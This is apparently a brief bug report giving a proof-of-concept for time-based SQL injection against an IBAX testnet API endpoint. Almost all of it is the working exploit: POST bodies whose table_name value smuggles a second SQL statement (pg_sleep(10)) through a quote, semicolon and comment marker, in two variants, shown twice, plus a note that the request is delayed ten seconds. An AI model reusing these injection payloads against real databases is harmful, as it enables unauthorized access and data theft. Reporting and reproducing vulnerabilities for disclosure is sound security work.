POC:
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData:
①
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b+--"&limit=1&page=1

② with where parameter :
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b+--"&where=1=1&limit=1&page=1

Reproduction

Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData:
①
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b+--"&limit=1&page=1

② with where parameter :
order=1&table_name=pg_user"%3b+select+pg_sleep(10)%3b+--"&where=1=1&limit=1&page=1

as you can see, when I use pg_sleep, the request is delayed 10s.
